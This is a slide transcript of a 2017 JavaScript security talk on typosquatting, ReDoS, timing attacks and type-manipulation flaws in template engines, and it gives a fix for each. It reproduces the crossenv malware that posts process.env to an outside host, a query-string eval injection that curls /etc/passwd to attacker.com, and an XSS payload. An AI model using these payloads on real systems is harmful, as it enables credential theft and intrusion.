JavaScript Exposed at Midwest JS

A9a379f2e92c7ded4564190c5b286b78?s=47 Tim Kadlec
August 17, 2017

JavaScript Exposed at Midwest JS

Thanks to the a vibrant ecosystem and server-side runtimes like Node.js, our sites and applications are using more JavaScript than ever before. With so much JavaScript tied to critical functionality, understanding the security implications of that JavaScript is absolutely crucial so that we're not leaving our businesses, and our users, exposed.

In this talk, we'll go through some of the more interesting security JavaScript vulnerabilities so that we can see how they work, what they can impact, and most importantly, how to fix them.

Presented at MidwestJS in Minneapolis on August 17, 2017.

A9a379f2e92c7ded4564190c5b286b78?s=128

Tim Kadlec

August 17, 2017
Tweet

Transcript

  1. JAVASCRIPT EXPOSED Tim Kadlec | @tkadlec

  2. None
  3. TYPOSQUATTING

  4. None
  5. { "name": "crossenv", "version": "6.1.1", "description": "Run scripts that set

    and use environment variables across platforms", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node package-setup.js" }, "author": "Kent C. Dodds <kent@doddsfamily.us> (http://kentcdodds.com/)", "license": "ISC", "dependencies": { "cross-env": "^5.0.1" } }
  6. { "name": "crossenv", "version": "6.1.1", "description": "Run scripts that set

    and use environment variables across platforms", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node package-setup.js" }, "author": "Kent C. Dodds <kent@doddsfamily.us> (http://kentcdodds.com/)", "license": "ISC", "dependencies": { "cross-env": "^5.0.1" } }
  7. const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data

    = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();
  8. const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data

    = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();
  9. const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data

    = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();
  10. None
  11. None
  12. None
  13. None
  14. CAN YOU TRUST THIRD-PARTY CODE?

  15. THE RISK OF ABSTRACTIONS

  16. ~83% FIND A VULNERABILITY

  17. None
  18. var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload =

    function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send();
  19. var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload =

    function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }
  20. var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload =

    function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }
  21. var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload =

    function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }
  22. var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload =

    function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }
  23. var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload =

    function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }
  24. $.getJSON('/my/url', {}) .done(function(){ // Success! }) .fail(function(){ // Error! });

  25. var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload =

    function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }
  26. $.getJSON('/my/url', {}) .done(function(){ // Success! }) .fail(function(){ // Error! });

  27. $.get('/my/url', {});

  28. JS fatigue

  29. JS fatigue

  30. JS fatigue

  31. CAN YOU TRUST THIRD-PARTY CODE?

  32. CAN YOU TRUST CODE?

  33. None
  34. HACKED WILL BE HACKED

  35. HACKED WILL BE HACKED

  36. 20-30 bugs per 1,000 lines of code

  37. 77% USE A VULNERABLE JS LIBRARY

  38. NOT GREAT BUT FIXABLE

  39. EVERYONE’S RESPONSIBILITY

  40. WEAKNESSES IN THE LANGUAGE & ECOSYSTEM

  41. THE EVENT LOOP

  42. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second();
  43. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second();
  44. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second(); second()
  45. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second(); second()
  46. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second(); second() first()
  47. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second(); second() first()
  48. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second(); second()
  49. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second(); second()
  50. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second();
  51. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second();
  52. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second();
  53. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second()
  54. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second()
  55. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() setTimeout()
  56. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() 0ms, console.log
  57. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() console.log
  58. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() console.log
  59. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() first() console.log
  60. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() first() console.log
  61. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() console.log
  62. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() console.log
  63. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); console.log
  64. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); console.log
  65. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); console.log
  66. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second();
  67. None
  68. ReDoS REGULAR EXPRESSION DENIAL OF SERVICE

  69. var regex = /A(B|C+)+D/;

  70. var regex = /A(B|C+)+D/; A

  71. var regex = /A(B|C+)+D/; (B|C+)

  72. var regex = /A(B|C+)+D/; +

  73. var regex = /A(B|C+)+D/; D

  74. var regex = /A(B|C+)+D/; ABBD ABCCCCD ABCBCCCD ACCCCCD

  75. None
  76. None
  77. None
  78. None
  79. ACCCX CCC CC+C C+CC C+C+C var regex = /A(B|C+)+D/;

  80. String Number of C’s Number of Steps ACCCX 3 38

    ACCCCX 4 71 ACCCCCX 5 136 ACCCCCCCCCCCCCCX 14 65,553
  81. None
  82. moment().format('MMM Do YY');

  83. moment().format('MMM Do YY'); var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s+) +MMMM?/;

  84. moment().format('MMM Do YY'); var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s+) +MMMM?/; \s+)

  85. m().format("D MMN MMMM"); var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s+) +MMMM?/;

  86. var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s+) +MMMM?/;

  87. var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s +)MMMM?/;

  88. None
  89. TIMING ATTACK

  90. function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a- e6d0ddb8bbba"; if (token

    == ADMIN_UUID) { return true; } return false; }
  91. function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a- e6d0ddb8bbba"; if (token

    == ADMIN_UUID) { return true; } return false; } token == ADMIN_UUID
  92. foo == bar

  93. foo == bar f b

  94. foo == fox

  95. foo == fox f f

  96. foo == fox fo fo

  97. foo == fox foo fox

  98. function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a- e6d0ddb8bbba"; if (token

    == ADMIN_UUID) { return true; } return false; }
  99. function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a- e6d0ddb8bbba"; var mismatch

    = 0; for (var i = 0; i < token.length; ++i) { mismatch |= (token.charCodeAt(i) ^ ADMIN_UUID.charCodeAt(i)); } return mismatch; }
  100. DYNAMIC TYPING

  101. var foo = true; foo = 1; foo = "hotdogs";

  102. TYPE MANIPULATION

  103. None
  104. {@if cond="'{device}' == 'desktop'"} <div>Desktop version</div> {:else} <div>Mobile Version</div> {/if}

  105. "if": function( chunk, context, bodies, params ){ ... var cond

    = params.cond; cond = dust.helpers.tap(cond, chunk, context); // eval expressions with given dust references if(eval(cond)){ ... } }
  106. NEVER TRUST USER INPUT

  107. dust.escapeHtml = function(s) { if (typeof s === 'string') {

    if (!HCHARS.test(s)) { return s; } return s.replace(AMP,'&amp;').replace(...) // more char replacements } return s; }
  108. dust.escapeHtml = function(s) { if (typeof s === 'string') {

    if (!HCHARS.test(s)) { return s; } return s.replace(AMP,'&amp;').replace(...) // more char replacements } return s; }
  109. None
  110. qs.parse('a'); // {a : ''}

  111. qs.parse('a'); // {a : ''} qs.parse('a=foo'); // {a : 'foo'}

  112. qs.parse('a'); // {a : ''} qs.parse('a=foo'); // {a : 'foo'}

    qs.parse('a=foo&b=bar'); // {a : 'foo', b: ‘bar'}
  113. qs.parse('a'); // {a : ''} qs.parse('a=foo'); // {a : 'foo'}

    qs.parse('a=foo&b=bar'); // {a : 'foo', b: ‘bar'} qs.parse('a=foo&a=bar'); // {a : ['foo', 'bar']}
  114. qs.parse('a'); // {a : ''} qs.parse('a=foo'); // {a : 'foo'}

    qs.parse('a=foo&b=bar'); // {a : 'foo', b: ‘bar'} qs.parse('a=foo&a=bar'); // {a : ['foo', 'bar']} qs.parse('a[]=foo'); // {a : ['foo']}
  115. https://host/demo?device[]=&device[]=

  116. https://host/demo?device[]=&device[]= { device: [ '', '' ] }

  117. https://host/demo?device[]=x&device[]=y'- require('child_process').exec(‘curl+-F +"x=`cat+/etc/passwd`"+artsploit.com')-' eval("'xy'- require('child_process').exec('curl -F \"x=`cat /etc/passwd`\" attacker.com')-'' ==

    'desktop'");
  118. DISALLOW DISALLOW NON-STRING PARAMETERS

  119. NORMALIZE CONVERT TO SINGLE INPUT TYPE

  120. CUSTOM HANDLING SPECIFIC HANDLING FOR ALLOWED TYPES

  121. dust.escapeHtml = function(s) { if (typeof s === 'string') {

    if (!HCHARS.test(s)) { return s; } return s.replace(AMP,'&amp;').replace(...) // more char replacements } return s; }
  122. dust.escapeHtml = function(s) { if (typeof s === "string" ||

    (s && typeof s.toString === "function")) { if (typeof s !== "string") { s = s.toString(); } if (!HCHARS.test(s)) { return s; } } };
  123. None
  124. nunjucks.renderString( 'Hello ', {username: ‘<script>alert(1)</script>' });

  125. nunjucks.renderString( 'Hello ', {username: ‘<script>alert(1)</script>' }); Hello &lt;script&gt;alert(1)&lt;script&gt;

  126. escape: function(str) { if(typeof str === 'string') { return r.markSafe(lib.escape(str));

    } return str; }
  127. escape: function(str) { if(typeof str === 'string') { return r.markSafe(lib.escape(str));

    } return str; }
  128. http://host/?username[]=<script>alert(1)</ script>matt nunjucks.renderString( 'Hello ', {username: ['<script>alert(1)</ script>matt'] });

  129. if(autoescape && !(val instanceof SafeString)) { val = lib.escape(val.toString()); }

  130. KNOW WHAT HAPPENS UNDER THE HOOD

  131. FOUNDATIONAL KNOWLEDGE & CREATIVITY

  132. NOT GREAT BUT FIXABLE

  133. THANK YOU Tim Kadlec | @tkadlec